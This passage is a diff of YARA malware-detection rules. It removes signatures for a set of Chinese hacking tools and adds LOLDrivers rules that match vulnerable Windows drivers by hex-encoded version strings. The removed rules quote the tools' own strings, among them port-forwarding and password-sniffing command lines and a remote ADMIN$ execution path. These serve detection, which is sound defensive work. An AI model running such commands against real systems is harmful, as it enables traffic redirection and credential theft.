-		$s5 = "Windows NT SP6 (Chinese)" fullword ascii
-		$s6 = "- Original code by FlashSky and Benjurry" fullword ascii
-		$s7 = "\\C$\\123456111111111111111.doc" wide
-		$s8 = "shell3all.c" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00340020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003100200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Isdebug_V1_4 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Zemanaltd_Zam_2BBC : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file IsDebug V1.4.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f9b4a909-e0e5-5708-8794-39250b9d56cc"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L990-L1010"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ca32474c358b4402421ece1cb31714fbb088b69a"
-		logic_hash = "d656327c33533b5ef7dc70ec00250ee35d878794fae189829a0ecad958f96616"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys, zamguard32.sys, zamguard64.sys"
+		author = "Florian Roth"
+		id = "171ebc5a-3e8a-5771-8960-b623f6581759"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9866-L9882"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2bbc6b9dd5e6d0327250b32305be20c89b19b56d33a096522ee33f22d8c82ff1"
+		logic_hash = "d311a2d88741100de1ca65107b08418f0d5a3fc44e4e388faf3434f9fec77dcc"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "IsDebug.dll" fullword ascii
-		$s1 = "SV Dumper V1.0" fullword wide
-		$s2 = "(IsDebuggerPresent byte Patcher)" fullword ascii
-		$s8 = "Error WriteMemory failed" fullword ascii
-		$s9 = "IsDebugPresent" fullword ascii
-		$s10 = "idb_Autoload" fullword ascii
-		$s11 = "Bin Files" fullword ascii
-		$s12 = "MASM32 version" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310038002e003300370031 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_HTTPSCANNER : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Logitechinc_Lvavsys_Logitechwebcamsoftware_E86C : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file HTTPSCANNER.EXE"
-		author = "Florian Roth (Nextron Systems)"
-		id = "470c90f5-bb98-59ab-bff4-f6238c318e36"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1012-L1026"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ae2929346944c1ea3411a4562e9d5e2f765d088a"
-		logic_hash = "0f1460101198d8b139b7cc0674bef2fc7b3d2a24249f521396b7bbe4318a83d5"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Lv561av.sys"
+		author = "Florian Roth"
+		id = "3402e3fc-82be-577d-a297-fcae7539bcfc"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9885-L9904"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e86cb77de7b6a8025f9a546f6c45d135f471e664963cf70b381bee2dfd0fdef4"
+		logic_hash = "ffab2936594602db403cd2aa85e7dffdcb10ec199fe857b947ae3214492106d4"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "HttpScanner.exe" fullword wide
-		$s2 = "HttpScanner" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c006f00670069007400650063006800200056006900640065006f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006f00670069007400650063006800200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310032002e00300030002e0031003200370038002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e00300030002e0031003200370038002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c007600350036003100610076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c006f006700690074006500630068002000570065006200630061006d00200053006f006600740077006100720065 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c007600350036003100610076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280063002900200031003900390036002d00320030003000390020004c006f006700690074006500630068002e002000200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3500KB and all of them
+		uint16(0)==0x5a4d and filesize <600KB and all of them
 }
-rule SIGNATURE_BASE_Hscan_V1_20_Pipecmd : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Getactechnologycorporation_Mtcbsvsys_Getacsystemserviceprovider_E6D1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file PipeCmd.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "957a8e3b-5f6c-5f3e-8973-88259c9cb0dc"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1028-L1049"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "64403ce63b28b544646a30da3be2f395788542d6"
-		logic_hash = "91ed275896c2520893ba1af26b2563c0bd3564a9c5f9d812f35464469e27307b"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - GtcKmdfBs.sys"
+		author = "Florian Roth"
+		id = "8634c295-d4b3-5f35-8ed3-4b11936593f9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9907-L9926"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e6d1ee0455068b74cf537388c874acb335382876aa9d74586efb05d6cc362ae5"
+		logic_hash = "bdd3eb671365ee774f50c3bbffc33aaffb3651f92101a133d1ddcc8b4a495e8f"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "%SystemRoot%\\system32\\PipeCmdSrv.exe" fullword ascii
-		$s2 = "PipeCmd.exe" fullword wide
-		$s3 = "Please Use NTCmd.exe Run This Program." fullword ascii
-		$s4 = "%s\\pipe\\%s%s%d" fullword ascii
-		$s5 = "\\\\.\\pipe\\%s%s%d" fullword ascii
-		$s6 = "%s\\ADMIN$\\System32\\%s%s" fullword ascii
-		$s7 = "This is a service executable! Couldn't start directly." fullword ascii
-		$s8 = "Connecting to Remote Server ...Failed" fullword ascii
-		$s9 = "PIPECMDSRV" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00470065007400610063002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047006500740061006300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002c00200032002c00200030002c00200033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002c00200032002c00200030002c00200033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0074006300420053007600330032002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00470065007400610063002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004700740063004b006d0064006600420073002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020003200300031003900200047006500740061006300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Dos_Fp : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Hpinc_Hpportioxsys_Hpportio_C505 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file fp.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f4427aab-50c3-5bb9-997a-75e162a83f8a"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1051-L1067"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "41d57d356098ff55fe0e1f0bcaa9317df5a2a45c"
-		logic_hash = "cc09743269ee36862c95c9323ad271ca9b6c350cf25163d126fef0f86bc6f671"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HpPortIox64.sys"
+		author = "Florian Roth"
+		id = "2fb75598-3743-50c5-b9cf-d0e928f0c57c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9929-L9948"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c5050a2017490fff7aa53c73755982b339ddb0fd7cef2cde32c81bc9834331c5"
+		logic_hash = "6174ef1374e0dfd523f7dcdbbdaab1002a95040c1a33f26bf5145d5dcbf87b08"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "fpipe -l 53 -s 53 -r 80 192.168.1.101" fullword ascii
-		$s2 = "FPipe.exe" fullword wide
-		$s3 = "http://www.foundstone.com" fullword ascii
-		$s4 = "%s %s port %d. Address is already in use" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800700050006f007200740049006f }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0039 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0039 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800700050006f007200740049006f }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002d003200300032003100200048005000200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <65KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Dos_Netstat : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realtek_Rtkiowxsys_Realtekiodriver_AB8F : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file netstat.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bc3141bf-4e82-5aa4-a8a6-a0a4586ee9a1"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1069-L1085"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d0444b7bd936b5fc490b865a604e97c22d97e598"
-		logic_hash = "e2b908308616c3f2c94849b4f22f0e9bb130b5759d89161604505ff25681be55"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio.sys, rtkio64.sys, rtkiow8x64.sys, rtkiow10x64.sys"
+		author = "Florian Roth"
+		id = "fd0941e8-747f-5337-aaf2-f819e32b8884"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9951-L9970"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ab8f2217e59319b88080e052782e559a706fa4fb7b8b708f709ff3617124da89"
+		logic_hash = "9be0907f77c5d4803a1ad7ac79cc42c15807a5b2d43e00a2448c6278ad5ea6c4"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "w03a2409.dll" fullword ascii
-		$s1 = "Retransmission Timeout Algorithm    = unknown (%1!u!)" fullword wide
-		$s2 = "Administrative Status  = %1!u!" fullword wide
-		$s3 = "Packet Too Big            %1!-10u!  %2!-10u!" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e0032003000320030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e0032003000320030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003200300020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_CN_Tools_Xsniff : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_2CE8 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file xsniff.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a0fdac88-a7b8-5d24-9012-2bfe7b07e675"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1087-L1104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d61d7329ac74f66245a92c4505a327c85875c577"
-		logic_hash = "a32d07ecd635ad71edaa37d9b1e5f66d8ce5a7f84f1bba6eb06deb1f49a879c8"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "e7cfd1c7-bd56-5fb1-8e6a-bc49b67b7c2c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9973-L9992"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2ce81759bfa236913bbbb9b2cbc093140b099486fd002910b18e2c6e31fdc4f1"
+		logic_hash = "0ac2638aaea5a401222d1451281ba8dba8fe4ef43da24e5eecbdd6d57f7b1dbb"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "xsiff.exe -pass -hide -log pass.log" fullword ascii
-		$s1 = "HOST: %s USER: %s, PASS: %s" fullword ascii
-		$s2 = "xsiff.exe -tcp -udp -asc -addr 192.168.1.1" fullword ascii
-		$s10 = "Code by glacier <glacier@xfocus.org>" fullword ascii
-		$s11 = "%-5s%s->%s Bytes=%d TTL=%d Type: %d,%d ID=%d SEQ=%d" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e00310030002e003100370031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e00310030002e003100370031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <220KB and 2 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Mssqlpass : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Innotekgmbh_Vboxtapsys_Virtualboxhostinterfacenetworkingdriver_994F : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file MSSqlPass.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d45b417f-3649-5603-bd19-8b8bcc19dabc"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1106-L1121"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "172b4e31ed15d1275ac07f3acbf499daf9a055d7"
-		logic_hash = "8037316eb157f8693bd342911af5fe5292f3ef8a3c169c80bc70edbabd7a92e6"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxTAP.sys"
+		author = "Florian Roth"
+		id = "3e90f336-734c-53bd-bc82-5045a9eb1ed2"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9995-L10014"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "994f322def98c99aec7ea0036ef5f4b802120458782ae3867d116d55215c56e4"
+		logic_hash = "25e4171bb112adf44101ca24c7d88e8a11a487b3c41d1f9eed29129c5621456b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Reveals the passwords stored in the Registry by Enterprise Manager of SQL Server" wide
-		$s1 = "empv.exe" fullword wide
-		$s2 = "Enterprise Manager PassView" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200048006f0073007400200049006e00740065007200660061006300650020004e006500740077006f0072006b0069006e00670020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0069006e006e006f00740065006b00200047006d00620048 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0038002f0032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0038002f0032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078005400410050002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072007400750061006c0042006f007800200048006f0073007400200049006e00740065007200660061006300650020004e006500740077006f0072006b0069006e00670020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078005400410050002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0069006e006e006f00740065006b00200047006d00620048002000260020004f00740068006500720073 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <120KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Wsockexpert : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_9254 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file WSockExpert.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0ae115be-c516-5f4a-97ce-555d84f42947"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1123-L1141"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2962bf7b0883ceda5e14b8dad86742f95b50f7bf"
-		logic_hash = "34ac3c5f0651ccab851d67da8863e0e305f981cf53a06d46c23f19736cc1c400"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "ac7837d9-055e-502d-a497-fe96b0aa701d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L10017-L10036"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "9254f012009d55f555418ff85f7d93b184ab7cb0e37aecdfdab62cfe94dea96b"
+		logic_hash = "cfe16d39c54ccb7ceca1e0fc1033a4d67a0bc9c62c27dcefabe07b68b947e688"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "OpenProcessCmdExecute!" fullword ascii
-		$s2 = "http://www.hackp.com" fullword ascii
-		$s3 = "'%s' is not a valid time!'%s' is not a valid date and time" fullword wide
-		$s4 = "SaveSelectedFilterCmdExecute" fullword ascii
-		$s5 = "PasswordChar@" fullword ascii
-		$s6 = "WSockHook.DLL" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004400440052005f00430043 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2500KB and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ms_Viru_Racle : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Dcprotectsys_Dcprotectrwinxdriver_3AF9 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file racle.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bdc78dcc-79e6-5516-bba2-54bf537eae38"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L1143-L1159"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "13116078fff5c87b56179c5438f008caf6c98ecb"
-		logic_hash = "d36db04c6a62a72e9f3079d09aedc9056c0a5032b4594af4d02ba55373f8b6a4"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - DcProtect.sys"
+		author = "Florian Roth"
